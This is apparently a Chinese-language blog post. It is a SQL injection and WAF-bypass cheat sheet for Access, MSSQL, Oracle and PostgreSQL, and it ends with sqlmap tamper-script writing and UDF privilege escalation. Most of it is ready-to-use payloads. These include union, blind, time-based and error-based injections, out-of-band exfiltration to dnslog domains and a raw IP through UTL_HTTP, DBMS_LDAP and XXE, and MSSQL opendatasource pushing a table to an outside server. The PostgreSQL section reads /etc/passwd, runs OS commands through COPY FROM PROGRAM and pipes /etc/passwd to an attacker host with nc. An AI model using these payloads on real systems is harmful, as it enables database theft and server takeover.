1、%00截断 将 %00 进行URL解码,即是C语言中的NULL字符
如果WAF对获取到的数据存储和处理不当,那么 %00 解码后会将后面的数据截断,造成后面的数据没有经过检测。

 

 

 

 

 

 

解析:WAF在获取到参数id的值并解码后,参数值将被截断成 1/* ,后面的攻击语句将没有被WAF拿去进行检测。

2、&字符处理

 

 

 

这些WAF会使用&符号分割 part1 、 part2 和 part3 ,然后对其参数值进行检测。但是,如果遇到这种构造:

<img src="https://bbs.zkaq.cn/upload/md/3682/f7a401f186bb06e9dd135ab006e82f23_68036.png" alt="img" style="zoom: 80%;" />

waf会将上传的参数分解成3部分:

  1. par1=1+union+/*
  2. x=1*/+select/*
  3. ×2=1*/1,2,3,4,5+from+Admin

如果将这3个参数分别进行检测,某些WAF是匹配不到攻击特征的。

这里的 %26 是 & 字符
/%26/->/&/ 其实只是一个SQL的注释而已

  • 数据清洗不恰当

当攻击者提交的参数值中存在大量干扰数据时,如大量空格、TAB、换行、%0c、注释等,WAF需要对其进行清 洗,筛选出真实的攻击数据进行检测,以提高检查性能,节省资源。
如果WAF对数据的清洗不恰当,会导致真实的攻击数据被清洗,剩余的数据无法被检测出攻击行为。

  • 规则通用性问题

通用型的WAF,一般无法获知后端使用的是哪些WEB容器、什么数据库、以及使用的什么脚本语言。 每一种WEB容器、数据库以及编程语言,它们都有自己的特性,想使用通用的WAF规则去匹配和拦截,是非常难 的。
通用型WAF在考虑到它们一些共性的同时,也必须兼顾它们的特性,否则就很容易被一些特性给Bypass!

  • 为性能和业务妥协

要全面兼容各类Web Server及各类数据库的WAF是非常难的,为了普适性,需要放宽一些检查条件,暴力的过滤 方式会影响业务。
对于通用性较强的软WAF来说,不得不考虑到各种机器和系系统的性能,故对于一些超大数据包、超长数据可能会 跳过不检测。
以上就是WAF自身的一些问题,接下来我们会针对这些问题进行讲解,看看WAF是怎么受这些问题影响的。
然后是数据库的一些特性,不同的数据库有一些属于自己的特性,WAF如果不能处理好这些特性,就会出很大的问题。

接下来给出一些实战中的利用文章,可结合以上知识一起学习:

MySQL绕过WAF实战技巧

MYSQL_SQL_BYPASS_WIKI

My Waf Bypass Series Article

Access数据库注入技巧

速查

联合查询

?id=1 and exists(select * from admin) //判断表和字段

?id=1 and 1=2 union select top 1 1,username,3,4,5,6,7,8,9,10 from admin order by 2 desc //查询字段内容

?id =1 and 1=3 union select top 5 1,username,3,4,5,6,7,8,9,10 from admin where username not in(select username from admin where username ='admin1' or username ='admin2' or username='admin3') //查询字段内容

 

 

盲注

?id=1 and len((select username from admin where id=1))=6 //判断字段长度
?id =1 and iif(1=1,(mid((select username from admin where id=1),1,1)='b'),0 ) //判断字段内容

 

 

偏移注入

?id=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,admin.* from admin //判断后表字段数
?id=1 union select admin.*,1,2,3,4,5,6,7,8,9,10,11,12 from admin /查询数据
?id=1 union select 1,2,3,4,5,6,* from (admin as a inner join admin as b on a.id=b.id)//查询数据

 

 

联合查询

access没有注释,通常用 null 或者 %00 作为注释
access联合查询是将后表放到前面,和mysql相反
img
access select *from 必须加表名,表名可以使用 exists(select * from table_name)进行判断,列名也可以用这个进行判断。

access没有 limit ,但是可以使用 top 和 desc 逐个查出内容

  • top 1 返回第一行内容,top 2 返回前2行内容
  • asc 升序 desc 降序

通过修改top 1 的数字,配合desc和asc逐个把所有内容显示出来在

Select * From news where id=1 and 1=2 union select top 1 1,username,3,4,5,6,7,8,9,10 from admin order by 2 desc

 

显示第一行
img
显示前三行
img
注意,用来排序的字段最好是用来显示内容的字段

这样会遇到一个比较有意思的问题
img
比如第4个开头是c,第五个开头是b,用上述内容查询
img
img
这样查出来的始终是cadmin,可以用not in 将其排除。

Select * From news where id =1 and 1=3 union select top 5 1,username,3,4,5,6,7,8,9,10 from admin where username not in('admin1','admin2')

 

 

可以使用 + 连接多个内容,在url里用 %2b 代替

Select * From news where id=1 and 1=2 union select top 5 1,username+'|'+password,3,4,5,6,7,8,9,10 from admin order by 2 desc

 

盲注

猜测字段
IIf ( expr , truepart , falsepart )
img
尽管IIf只返回 truepart 和 falsepart 中的一个,但始终会对这两部分进行计算。因此,应当注意是否出现无谓的副作用。例如,如果计算 falsepart 时导致除数为零错误,那么即使 expr 为 True,也会产生错误。

计算长度len()
截取字符串mid(‘abc’,1,1)
转换ascii码ASC()函数
ascii转为字符CHR()函数

select * from news where id=1 and len((select username from admin where id=1))=6

 

img
判断admin表里第一个字段

select * from news where id =1 and iif(1=1,(mid((select username from admin where id=1),1,1)='b'),0 )

 

img

偏移注入

适用情况:

  • 知道表名不知道列名
  • 前表的列数远大于后表
select * from product where id=100 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin

 

img
img

用 *或者 admin.*从后逐渐替换数字
img

select * from product where id=100 union select 1,2,3,4,5,6,7,8,9,10,11,12,admin.* from admin

 

 

img
W1:
得到admin有26-12=14个字段,接下来依次将admin.*去放到其余位置

select * from product where id=100 union select admin.*,1,2,3,4,5,6,7,8,9,10,11,12 from admin

 

 

img
W2:
如果前表的字段数是后表字段数的2倍以上,假设admin表字段数为10,则可以使用26-10*2=6,

select * from product where id=100 union select 1,2,3,4,5,6,* from (admin as a inner join admin as b on a.id=b.id)

 

inner join等同于select * From A, B Where A.aid = B.bid
admin as a是将admin表重命名a,因为inner join需要使用两张不同的表,所以需要一个表命名为2个不同名字。
img
这样的好处是能将后表的内容更多的显示出来。

Mssql数据库注入技巧

前置知识

  1. master:系统自带库,存储着所有的信息
    sysdatabae:系统自带库中的表,存储着所有的库名
    img
    name表示库名,dbid表示库的编号

  2. sysobjects:每个库都有,系统库中的存储着所有的表名,其它库里的存着各自的表名
    img
    name表示表名, 每个表有自己特有的id, xtype表示这个表的类型
    img

  3. syscolumns:每个库都有,系统库中的存储着所有的字段名,其它库里的存着各自的字段名
    img
    name表示字段名, 通过id判断该字段属于哪个表

    4.其它内容

  1. 注释是 --
  2. select db_name(N),N为空表示当前数据库,可以通过修改数字查询其他数据库名
  3. select user 查询当前用户
  4. select @@version 查询数据库版本

联合查询

部分内容和access注入相似,毕竟是一家,比如没有limit,可以使用top配合descnot in等。
判断回显点
union select 1,2,3
img
sqlserver 对字段的数据类型有要求,可以用null替代
img
但是如果让前表不显示,后面就不用了考虑字段数据类型
img
查询表名
指定xtypeU,表示用户的表

SELECT * from users where id=1 and 1=2 union select top 1 1,id,name from sysobjects where xtype='U'

 

 

img
查询字段名
通过id指定表

SELECT * from users where id=1 and 1=2 union select top 1 1,2,name from sysobjects where id=1977058079

 

 

img

盲注

相关函数

  1. len 判断长度
  2. substring 截取字符串
  3. ascii 转换成ascii
  4. if 判断
  5. WAITFOR DELAY '0:0:5' 延时5

 

判断数据库个数

 

?id=1 and (select count(name) from master..sysdatabases)=7
?id=1 and (select count(*) from master..sysdatabases where dbid=7)=1

 

 

 

判断当前数据库长度

 

and len(db_name())=6

 

 

判断其它数据库长度

 

?id=1 and len(db_name(1))=6

 

 

 

判断当前库名

 

?id=1 and substring(db_name(),1,1)='t'

 

 

库中表的个数

 

?id=1 and (select count(name) from sysobjects where xtype='U')=5

 

 

判断表内容
当前库第一个表的长度

 

?id=1 and len((select top 1 name from sysobjects where xtype='U'))=5

 

 

 

判断第一个表的表名

 

?id=1 and substring((select top 1 name from test..sysobjects where xtype='U'),1,1)='u'

 

 

判断当前数据库第2个表的长度

 

?id=1 and len((select top 1 name from sysobjects where xtype='U' and name not in(select top 1 name from sysobjects where xtype='U')))=6

 

  1. 判断第二个表的表名

?id=1 and substring((select top 1 name from sysobjects where xtype='U' and name not in(select top 1 name from sysobjects where xtype='U')),1,1)='e'

 

 

  1. 时间盲注

?id=1 IF SUBSTRING(DB_NAME(),1,1)='a' WAITFOR DELAY '0:0:5'

报错注入

报错注入
在帮助文档里找了好多函数,好像都能报错

img

and convert(int,@@version)=1

 

 

img

and db_name(@@version)=1

 

 

img

and file_name(db_name())=1

 

img

and col_name(@@SERVERNAME,db_name())=1

 

 

img
注意,col_name需要两个参数,但是报错只能显示一个

and filegroup_name(db_name(1)=1

 

img

and PARSENAME(db_name(1),1)=1

 

注:还有好多,基本抓一个都能用,在帮助文档里输入name,出来的函数都可以试一试

反弹注入

使用场景:命名是SQL的注入点却无法进行注入操作,注入工具猜解的速度异常缓慢,错误提示信息关闭,无法返回注入结果等,这些都是在注入攻击中常常遇到的问题。为了解决以上这些疑难杂症,比较好的解决方法就是使用反弹注入技术。

反弹注入就是利用SQL SERVER的opendatasource() 函数,来将查询结果发送到另一个外网服务器的SQL SERVER数据库中。

反弹注入语句解析:

 

insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --
Insert into 很明显是插入语句 然后出现了个opendatasource。
opendatasource 为了方便理解,可以看理解为 ‘使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。
语法:
OPENDATASOURCE(provider_name,init_string)
provider_name
注册为用于访问数据源的OLE DB 提供程序的PROGID的名称 MSSQL的名称为SQLOLEDB
init_string
连接字符串
连接地址、端口、用户名、密码、数据库名
server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称
连接上服务器后选定数据表DB_14A5E44_zkaq.dbo.temp 把后面语句的查询结果插入到那个表里面

 

 

Oracle数据库注入技巧

基础

Oracle数据库中,库的概念被淡化,强调用户
单行注释为--,多行注释为/**/
在Oracle中就必须跟一个表名,如下:select * from dual
dual表,此表是Oracle数据库中的一个自带表
oracle 的数据类型是强匹配,所以联合查询时要求列的数据类型一致,可以用null代替某些数据类型。

all_tables 储存所有的表
img

user_tables 存储当前用户的表
img

all_tab_columns 存储所有的字段
img

select*from user_tab_columns 存储当前用户的字段
img

select*from v$version 查版本
img

联合查询

联合查询
判断回显点

union all select null,null,null,null from dual

 

img
查询当前表用户

union all select 1,to_nchar(user),null,null from dual

 

img
Oracle数据库中,库的概念被淡化,强调用户
查询表名

union all select null,to_nchar(table_name),null,null from user_tables where rownum=1

 

 

img
查询下一个表名

union all select null,to_nchar(table_name),null,null from user_tables where table_name<>'NEWS'

img
除此之外,可以使用下面的方法查询单条记录

select rownum r,table_name from user_tables

 

img

select table_name from (select rownum R,table_name from user_tables) where r=2

 

img

union all select null,to_nchar(table_name),null,null from (select rownum R,table_name from user_tables) where r=1

 

 

img
获取字段名

union all select null,to_nchar(column_name),null,null from user_tab_columns

 

img
查询下一个

union all select null,to_nchar(column_name),null,null from user_tab_columns where column_name<>'ID'

 

 

img

盲注

length() 计算长度
substr() 截取字符串
decode(字段或字段的运算,值1,值2,值3)这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回值3

布尔盲注

判断表数量

and (select count(table_name) from user_tables)>1

 

img

判断表名长度

and (select length(table_name) from user_tables where rownum=1)>1

 

 

img
判断表明内容

and ascii(substr((select table_name from user_tables where rownum=1),1,1))>1

 

 

img

盲注的instr()用法

instr函数用于截取字符串(源字符串,目标字符串)

and 1=(instr((select user from dual),'O'))

 

 

错误时页面会出错,正确返回正常页面

正确时

错误时

时间盲注

oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。

DBMS_PIPE.RECEIVE_MESSAGE()函数延时盲注

DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。

首先,不能直接将该函数注入子查询中,因为Oracle不支持堆叠查询(stacked query)。其次,只有数据库管理员才能使用DBMS_LOCK包。

在Oracle PL/SQL中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:DBMS_PIPE.RECEIVE_MESSAGE(‘任意值’,延迟时间),如下

dbms_pipe.receive_message('RDS', 10)

 

DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在SQL语句中的函数。

延迟盲注中的应用:

http://www.xxx.com/news.jsp?id=-1 or 1= dbms_pipe.receive_message('RDS', 10)--

http://www.xxx.com/news.jsp?id=1 and 1=dbms_pipe.receive_message('RDS', 10)--

 

img

如果页面延时10秒返回,即存在注入。

decode函数

使用decode()进时间盲注

decode()函数语句的基本表达式是:

decode(expr1,expr2,expr3,[expr4])

 

作如下理解该表达式:
  (1),如果expr1 = expr2,decode函数返回expr3表达式的值;
  (2),如果expr1 != expr2,decode函数返回expr4表达式的值,如果expr4未指定,则返回null。

使用decode与DBMS_PIPE.RECEIVE_MESSAGE嵌套的方式进行时间盲注。

http://www.test.com/oracle.jsp?name=1'and 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('RDS',5) ,0) from dual) and '1'='1

 

当然,这里延迟的操作不一定用延迟函数,也可以使用花费更多时间去查询所有数据库的条目。例如:

(select count(*) from all_objects)

http://www.xxx.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0

 

通过这种明显时间差也能判断注入表达式的结果。

 

报错注入

 

通过ctxsys.drithsx.sn函数
这个函数去查询关于主题的对应关键词,然后因为查询失败,应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容

and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum R,table_name from user_tables) where r=2))

 

and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))--

 

利用ctxsys.ctx_report.token_type函数
此函数作用为将英语名称转化为数字类型
在名称处进行报错查询

and 1=ctxsys.ctx_report.token_type((select user from dual), '1')

 

其余可以测试的语句

利用dbms_xdb_version相关方法下的报错

通过对信息签入返回新建版本的id来报错查询
这里插入语句的位置是资源的路径名

and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null--

 

dbms_xdb_version.makeversioned
此函数返回VCR的第一个版本或根目录的资源ID,通过资源的路径名位置进行报错查询

and (select dbms_xdb_version.makeversioned((select banner from sys.v_$version where rownum=1)) from dual) is not null--

 

dbms_xdb_version.uncheckout
此函数用于签入已签出的资源,并在签出资源之前返回版本的资源id,通过签出资源的路径名出进行报错查询

and(select dbms_xdb_version.uncheckout((selectbannerfromsys.v_$versionwhere rownum=1)) from dual) is not null--

 

利用dbms数据包的报错
将sqlid 转化为hash值,在查询sqlid处插入语句语句报错
这里对sqlid进行报错查询

and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null--

 

通过返回有关各种Oracle Streams属性的信息来报错
这里通过对消息属性返回当前逻辑更改记录(LCR)的发送方名称处,也可以是返回引发错误的LCR违反的约束的名称(都是同一个位置,两种用法)处进行报错查询

and (select dbms_streams.get_information((select banner from sys.v_$version where rownum=1)) from dual) is not null--

 

此函数作用是从oracle类型名称生成XML架构
通过对生成xml模式架构里的类型名称处来报错得到数据

and (select dbms_xmlschema.generateschema((select banner from sys.v_$version where rownum=1)) from dual) is not null--

 

通过对xml文档信息的操作来报错
这个函数从XDB中的XMLTYPE或资源中提取XLIFF格式的翻译
通过对xpath的位置的进行报错查询

and (select dbms_xmltranslations.extractxliff((select banner from sys.v_$version where rownum=1)) from dual) is not null--

 

利用ordsys.ord_dicom.getmappingxpath报错
通过无效的xml路径报错,报错信息会到页面中
这里对xml路径处进行报错查询

and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$versionwhere rownum=1),user,user)--

 

利用utl_inaddr.get_host_name函数的报错
utl_inaddr.get_host_name函数用于取得环境中的IP地址,通过语句去报错将信息带到页面中
在IP数据位置处进行报错查询

and 1=utl_inaddr.get_host_name((select banner from sys.v_$version where rownum=1))--

 

利用XMLType函数的报错
通过xmltype,构造xml数据类型里的xml数据内容来报错
在xml数据处进行报错查询

and (select upper(XMLType(chr(60)||chr(58)||(select banner from sys.v_$version where rownum=1)||chr(62))) from dual) is not null--

 

 

oob(Out of Band)

 

利用UTL_HTTP.REQUEST函数
通过这个函数去发送http请求,携带查询信息,通过记录请求日志信息去获得信息

select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select user from dual)||'.ujf6lv.dnslog.cn') FROM sys.DUAL;

 

利用dbms_ldap.init的报错
dbms_ldap.init这里会创建一个ldap服务器的连接,从而去带出查询出的信息,通过该函数去发送dns请求,通过dns记录去解析日志获得信息

select name from test_user where id =1 union select DBMS_LDAP.INIT((select user from dual)||'.ujf6lv.dnslog.cn',80) from dual

' and DBMS_LDAP.INIT((select user from dual)||'.ujf6lv.dnslog.cn',80) is not null-- #后面要加is not null

 

利用utl_inaddr的数据包的函数
UTL_INADDR.GET_HOST_ADDRESS函数用于查询环境中的ip地址
通过该函数去发送dns请求,通过dns记录去解析日志获得信息

select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select user from dual)||'.ddd.ujf6lv.dnslog.cn') FROM sys.DUAL;

' and utl_inaddr.get_host_address((select 1234567811 from dual)||'.fzrsuf.3w1.pw')=1--

' and utl_inaddr.get_host_address((select 3333333 from dual)||'.fzrsuf.3w1.pw') like 1--

 

利用httpuritype函数
httpuritype用于从数据库服务器发送http请求
通过这个函数去发送http请求,携带查询信息,通过记录请求日志信息去获得信息,也可以通过该函数去发送dns请求,通过dns记录去解析日志获得信息

select httpuritype( 'http://74.121.151.89/123344/back.pl').getclob() from dual;

select name from test_user where id =1 union SELECT HTTPURITYPE((select user from dual)||'.xx.ujf6lv.dnslog.cn').GETCLOB() FROM sys.DUAL;

 

利用extractvalue函数

(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % nakut SYSTEM "http://'||(select CHR(51)||CHR(54)||CHR(48) from dual)||'.fzrsuf.3w1.pw/">%nakut;]>'),'/l') from dual)
(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://74.121.151.89:8888/'||(SELECT user from dual)||'"> %remote;]>'),'/l') from dual)
(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://74.121.151.89:8888/'||(select listagg(id||chr(58)||name,',') within group (order by id) from users where rownum<5)||'"> %remote; %param1;]>'),'/l') from dual)
' and (select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://74.121.151.89:8888/'||(SELECT user from dual)||'"> %remote;]>'),'/l') from dual)||'
' and 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://74.121.151.89:8888/'||(SELECT user from dual)||'"> %remote;]>'),'/l') from dual) or '1'='1
' AND 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://74.121.151.89:8888/'||(select listagg(id||chr(58)||name,',') within group (order by id) from users where rownum<5)||'"> %remote; %param1;]>'),'/l') from dual)--
' AND 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://74.121.151.89:8888/'||(select listagg(id||chr(58)||name,',') within group (order by id) from users where rownum<5)||'"> %remote; %param1;]>'),'/l') from dual)--

 

 

PostgreSQL注入技巧

 

 

前置知识

 

注释

-- 单行

/**/ 多行

版本

SELECT version()

查看当前用户

SELECT user;

SELECT current_user;

SELECT session_user;

SELECT usename FROM pg_user;

SELECT getpgusername();

 

列出用户表内容

SELECT usename FROM pg_user

 

列出密码hash

SELECT usename, passwd FROM pg_shadow

 

列出数据库超级管理员账号

SELECT usename FROM pg_user WHERE usesuper IS TRUE

 

列出权限信息

SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user

 

查询当前数据库名

SELECT current_database()

 

查询所有数据库

SELECT datname FROM pg_database

 

列出表信息

SELECT table_name FROM information_schema.tables

 

输出列信息

SELECT column_name FROM information_schema.columns WHERE table_name='data_table'

 

 

报错注入

 

,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)

,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--

,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--

,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)

' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1

' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1

' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1

' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1

 

 

PostgreSQL XML 支持

 

select query_to_xml('select * from pg_user',true,true,''); -- 以xml格式返回数据

 

上面的query_to_xml将指定查询的所有结果作为一个结果返回。将其与“PostgreSQL报错注入”技术结合起来,以窃取数据,而不必担心将查询限制在一个结果上。

select database_to_xml(true,true,''); -- 将当前数据库转储为XML
select database_to_xmlschema(true,true,''); -- 将当前数据库转储到一个XML schema

 

 

注意,对于上述查询,需要在内存中组装输出。对于较大的数据库,这可能会导致速度变慢或拒绝服务攻击。

 

盲注

 

' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK
' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO

 

 

 

时间盲注

 

AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))

 

 

 

堆叠注入

 

使用分号;去增加另一条查询语句

http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--

 

 

 

文件读取

 

select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);

 

 

注意:PostgreSQL的早期版本不接受pg_read_file或pg_ls_dir中的绝对路径。更新的版本将允许读取超级用户或default_role_read_server_files组中的用户的任何文件/文件路径。

CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp limit 1 offset 0;
SELECT lo_import('/etc/passwd'); -- 将从文件中创建一个大型对象并返回OID
SELECT lo_get(16420); -- 使用从上面返回的OID
SELECT * from pg_largeobject; -- 或者只获取所有大型对象及其数据

 

 

 

写文件

 

CREATE TABLE pentestlab (t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';
SELECT lo_from_bytea(43210, 'your file data goes in here'); -- 创建一个OID为43210的大对象和一些数据
SELECT lo_put(43210, 20, 'some other data'); -- 在大对象上追加数据的偏移量为20
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport

 

 

 

命令执行

 

CVE-2019–9193

如果可以直接访问数据库,则可以直接利用Metasploit,否则需要手动执行以下SQL查询。

DROP TABLE IF EXISTS cmd_exec; -- [可选]如果要使用的表已经存在,删除它
CREATE TABLE cmd_exec(cmd_output text); -- 创建要保存命令输出的表
COPY cmd_exec FROM PROGRAM 'id'; -- 通过COPY FROM PROGRAM函数运行系统命令
SELECT * FROM cmd_exec; -- [可选]查看结果
DROP TABLE IF EXISTS cmd_exec; -- [可选]删除表

 

 

 

利用 libc.so.6

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

 

 

 

Bypass

 

Quotes

使用chr函数

SELECT CHR(65)||CHR(66)||CHR(67);

  

 

使用 $ 符号( >= version 8 PostgreSQL)

SELECT $$This is a string$$
SELECT $TAG$This is another string$TAG$

 

 

 

注入工具

 

 

Sqlmap

 

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

当给Sqlmap开始检测一个url的时候,它会:

  1. 判断注入时选择的参数
  2. 判断识别出使用的那种数据库
  3. 判断注入时使用何种sql注入技术来进行注入
  4. 根据用户的选择需要,获取相应的需要的数据

关于详细的sqlmap使用参数(options)及细节,可以查阅sql使用手册。这里可以获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。

 

Tamper编写

 

使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。使用方法:

sqlmap.py XXXXX -tamper "模块名"

 

 

关于sqlmap自带的tamper与注释,在上方的使用手册中可以看到。此处我们来探讨Tamper的编写方法。

tamper脚本基于python语言。为了说明tamper的结构,让我们从一个最简单的例子开始:

# sqlmap/tamper/escapequotes.py

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():

pass

def tamper(payload, **kwargs):

return payload.replace("'", "\\'").replace('"', '\\"')

 

可以看到tamper脚本的基本结构为 priority变量定义和 dependencies、 tamper函数定义。

priority定义脚本的优先级,用于有多个tamper脚本的情况。
dependencies函数声明该脚本适用或不适用的范围,可以为空。
tamper是主要的函数,接受的参数为 payload和 **kwargs,返回值为替换后的payload。

 

 

详细介绍:

priority

在自带的tamper脚本中一共有以下几种优先级 还可以自定义 -100~100

__priority__ = PRIORITY.LOWEST

__priority__ = PRIORITY.LOWER

__priority__ = PRIORITY.LOW

__priority__ = PRIORITY.NORMAL

__priority__ = PRIORITY.HIGH

__priority__ = PRIORITY.HIGHER

__priority__ = PRIORITY.HIGHEST

 

dependencies函数

dependencies函数,对tamper脚本支持/不支持使用的环境进行声明,可以为空,如:

import os

from lib.core.common import singleTimeWarnMessage

def dependencies():

singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS))

#singleTimeWarnMessage() 用于在控制台中打印出警告信息

 

tamper函数

tamper是整个脚本的主体。主要用于修改原本的payload。举例来说,如果服务器上有这么几行代码

$id = trim($POST($id),'union');

$sql="SELECT * FROM users WHERE id='$id'";

 

而我们的payload为

-8363' union select null -- -

 

 

这里因为union被过滤掉了,将导致payload不能正常执行,那么就可以编写这样的tamper

def tamper(payload, **kwargs):
return payload.replace('union','uniounionn')

 

 

保存为replaceunion.py,存到sqlmap/tamper/下,执行的时候带上—tamper=replaceunion的参数,就可以绕过该过滤规则。

kwargs

在官方提供的47个tamper脚本中,kwargs参数只被使用了两次,两次都只是更改了http-header

# sqlmap/tamper/vanrish.py

def tamper(payload, **kwargs):

headers = kwargs.get("headers", {})

headers["X-originating-IP"] = "127.0.0.1"

return payload

 

Tamper的编写远不止这些,本块只就其最基本的结构进行探讨。作为sqlmap的扩展,在编写tamper时几乎所有的sqlmap内置的函数、变量都可以使用,这些内容同样可查阅使用手册。

 

sqlmap udf提权

 

本文前面的内容已经提到了有关udf提权的内容,此处讲述其在sqlmap中的实现。

sqlmap\data\udf\mysql\windows\32 目录下存放着32位的 lib_mysqludf_sys.dll,但是 sqlmap 中自带的 shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用。可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak 目录下,执行命令:python2 cloak.py -d -i D:\sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll

解码后在 sqlmap\data\udf\mysql\windows\32 文件夹下会生成 dll 文件。

利用sqlmap进行UDF提权指令:

sqlmap.py -d “mysql://root:root@127.0.0.1:3306/test” -–os-shell

sqlmap内置的dll支持以下函数:

 

 

 

 

 

 

 

access注入合集(https://bbs.zkaq.cn/t/4481.html)

posted @ 2022-03-08 18:05  黑客无极  阅读(2068)  评论(0编辑  收藏  举报